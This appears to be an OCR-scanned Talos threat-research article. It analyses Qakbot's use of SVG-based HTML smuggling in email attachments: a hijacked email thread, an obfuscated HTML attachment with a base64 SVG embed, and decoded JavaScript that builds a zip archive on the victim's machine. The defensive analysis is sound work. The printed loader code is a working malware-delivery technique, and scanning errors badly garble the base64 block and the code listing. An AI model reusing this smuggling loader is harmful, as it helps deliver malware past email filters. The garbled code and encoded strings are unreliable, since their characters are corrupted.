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o HTML smuggling is a technique attackers use to hide an encoded malicious script within an HTML email
attachment or webpage.

e Once a victim receives the email and opens the attachment, their browser decodes and runs the script,
which then assembles a malicious payload directly on the victim’s device.

» Talos has witnessed Qakbot attackers using a relatively new technique that leverages Scalable Vector

Graphics images embedded in HTML email attachments.
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Smuggling HTML using SVG

There are multiple different ways attackers have been documented abusing the legitimate features of JavaScript
and HTML to accomplish HTML smuggling. Recently, however, Talos has witnessed attackers deploying a
relatively new HTML smuggling technique—the use of Scalable Vector Graphics (SVG) images.

Unlike pixel-based raster images such as JPEG, SVG images are vector-based, which means they can be increased
in size without sacrificing image quality. SVG images are constructed using XML, allowing them to be placed
within HTML using ordinary XML markup tags. Talos has identified malicious emails featuring HTML
attachments with encoded SVG images that themselves contain HTML <script> tags. Including script tags within
a SVG image is a legitimate feature of SVG. Unfortunately this feature is being abused by attackers to smuggle
JavaScript onto a victim's computer. Attackers rely on the fact that most web browsers will happily decode and

execute this JavaScript as if it were a standard part of the document’s HTML.

In this case, the JavaScript smuggled inside of the SVG image contains the entire malicious zip archive, and the
malware is then assembled by the JavaScript directly on the end user's device. Because the malware payload is
constructed directly on the victim’s machine and isn’t transmitted over the network, this HTML smuggling

technique can bypass detection by security devices designed to filter malicious content in transit.

Below is a malicious Qakbot email. Qakbot is known to hijack a victim’s email and send itself out as a reply to an
existing email thread. That behavior is on display here. One interesting facet of many email thread hijackers is that

the email threads they hijack are often very old. This particular thread is from 2020.
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Lisa September 28, 2022 at 10:41 AM
[BCC][CF][Quarantine HTM/HTML] Re: RE: Contact Lisa
To:

Good afternoon,

Take a look at the attached file.
Thanks,

Hi Lisa,

Thank you Lisa, | have put all the documentation together and forwarded to the administrative team.
Will let you know if anything is missing or is needed.

And Thank you, It was a nice family day weekend, | hope you had a wonderful time off as well.

Warmest Regards,

Grace

From: Lisa mailto:

Sent: Tuesday, February 18, 2020 10:05 AM
To: Grace

Subject: RE: Contact Lisa

Okay | saw them my Aunt/Uncle this weekend and I've attached their signed forms — please
let me know if we need to fill out anything else.

Their DL pics are attached too.

From: Grace [mailto:
Sent: February 18, 2020 9:45 AM
To: Lisa

Subject: RE: Contact Lisa
Lisa,
The letter you sent us gave us acknowledgement of who have authorization over the lots. Now that

we know who the authorized people are, we now need their signatures on the documentation |
provided you in the last email along with a copy of their Photo 1.D.

A Qakbot email features stolen email threads and a malicious HTML attachment.

When the victim opens the HTML attachment from the email, the smuggled JavaScript code inside the SVG

image springs into action, creating a malicious zip archive and then presenting the user with a dialog box to save
the file.
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When the attachment is opened, the SVG image JavaScript pops up a file save dialog box.

The HTML attachment also displays a password that the victim must use to open the encrypted zip archive that

was constructed locally on the victim’s machine.
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The HTML attachment also includes the password to the zip file created by the JavaScript.

Inside the HTML attachment, we can see the code used by the attackers to smuggle the JavaScript onto the victim
machine. Besides some of the obvious obfuscation techniques like HTML encoding the “F” in File and the “P” in

Password, we can also clearly see an <embed> tag containing a base64-encoded SVG image.
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<div style=3D"position: absolute; left: -
<div style=3D"position: relative; left: -3 top: 320px; font-size: =

32px; ">
The &#102;ile is not displayed correctly. Use local downloaded =
&#102;1le.

style=3D"position: relative; left: top: 340px; font-size
Document &#8@;
tyle=3D"position: relative; left: top: 26@px; font-size: =

<p id=3D" yHp" class=3D"bo

<embed =
src=3D"data: 1mag - 3
RFPEIFNW yAxL] j LAi ¢ 3¢ MySveme G VU1ZHLZEUMS9EV=
j ' cDovL3d3dyS3
JIIMCIgcj@iNTALIGZpb

-ZBENROFBRGAEd=
hiNUhBQLRCb2=
LMZNWNEd\WUPKWUthzI_
J1RrQ 0 0 MVAWOSOBSFBUb3N3dVLr=
'JethYanVjFl ? . cWVRS M amQvbHd1U1d1T=
FBBZD13anhgNTdzenBONWSHaHBSN@hHS
tUbTFRbUdUblG’UkE’CC+4VEVhUTBJUVNSPlkﬁc'

ZTRIUEPlale J 1'1T]]abprFFpR_
TLRbHRNakhr DTHFWSFRiV' f DN hh@ PEdleRqun RDA4YWZkWmiMai=
lhmeV7IeE5ma¢Np b EZMPmM clJVc@thwlou

OMKRZNHYZ2L1Boc1]LUitoZko4cERmS3NSZGtD “EOVWPMblFG.mtJW JaYmp 1dmaHlI=
bVRLA11WK1pC JDTdeTGXORTBZNlBreGJUSIdeUSwRFVRVUdelBTaz?7V1FE‘?Hw\LL
mlpaTR5T3BxeXVnb114Q2 (A4 TmwSVVBGeWdmUKRWNIWU4AML L VI
dxaXpBRUY5TnZsQUNkdmNIOU4yMmORWHF SVVEWbWpFVFoxbUdNUZB1e O@NFNHZESIR; ]

The SVG image is base64-encoded and embedded inside the HTML attachment.

When the base64 is decoded and the JavaScript is de-obfuscated, we can see the SVG HTML smuggling
technique used by this Qakbot campaign. The charCodeAt() function is used to convert text from a JavaScript
variable into a binary blob. Using the createObjectURL() function, the binary blob is converted into a zip archive

that the user is prompted to save on their local filesystem.
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1 =!DOCTYPE swg PUBLIC "—//W3C//DTD SVG 1.1//7EN" "http://wew.w3.o0rg/Graphics/SVG/1.1/DTD/svwgll.dtd" >
2 =syg version="1.1" xmlns="http://www.w3.org/ /2000, /svg">

3 <circle cx="25@" cy="25@" r="5@" fill="red" />

4 «script type="text/javascript'=

5 <! [CDATAI

[

7 var text = '"UEsDBEQAAQAIAIFEPFW13bCIs@MGAADQDWAMAAAAUKVGIZISMTYuaXNvaD,/WiBEzbIKow Ty Tw2md /KHE
8

9 function b64toBlob(bE4Data, sliceSize)

1a {

11 var byteArrays = [1;

12 var byteCharacters = atob(b64Data);

13

14 for (var offset = @; offset =« byteCharacters.length; offset += sliceSize)
15 i

16 var slice = byteCharacters.slice(offset, offset + sliceSize);
17 var byteNumbers = new Array(slice.length);

18

19 for{var i = 8; i = slice.length; i++)

20 {

21 byteNumbers [i] = slice.charCodeAt(i);

22 }

23

24 wvar byteArray = new UintBArray(byteNumbers);

25 byteArrays.push(byteArray);

26 }

27

28 var blob = new Blob(byteArrays, {type: "application/zip"});
29 return blob;

kL) }

31

iz function newFile(blob)

33 {

34 let file = new File([blob], "attachment.zip", {type: "application/zip"});
35 let exportUrl = URL.createObjectURLIifile);

36 window. location.assign({exportlrl);

37 URL. revokeObjectURL {exportUrl);

38 }

39

48 var blob = b64toBlob(text, 512);

41 newFile(blob);

42

43 11=

44 </script=

45 | =/ svg>

An example of a decoded base64 SVG image from a malicious Qakbot email.

If the user manages to enter the password provided by the attacker and open the zip archive, they can extract an

.iso file. The .iso file is intended to infect the victim with Qakbot, according to Cisco Secure Malware Analytics.

Conclusion

Since HTML smuggling can bypass traditional network defenses, it is critical to deploy some sort of security
protection to the endpoints in your environment. Having robust endpoint protection can prevent execution of
potentially obfuscated scripts, and prevent scripts from launching downloaded executable content. Endpoint

security can also enforce rules about which executables are trusted to run in your environment.

Another good defense against HTML smuggling is educating your users about HTML smuggling attacks. For
years, email security professionals have been repeating the mantra that users should not open suspicious email
attachments or click links in suspicious messages. This is even more true today, given that HTML smuggling

attacks can bypass some security devices and are increasing in frequency.

As network defenders improve their abilities to scan for malicious content, we can expect to see attackers looking
to counter and evade such content filtering. HTML smuggling’s ability to bypass content scanning filters means

that this technique will probably be adopted by more threat actors and used with increasing frequency.
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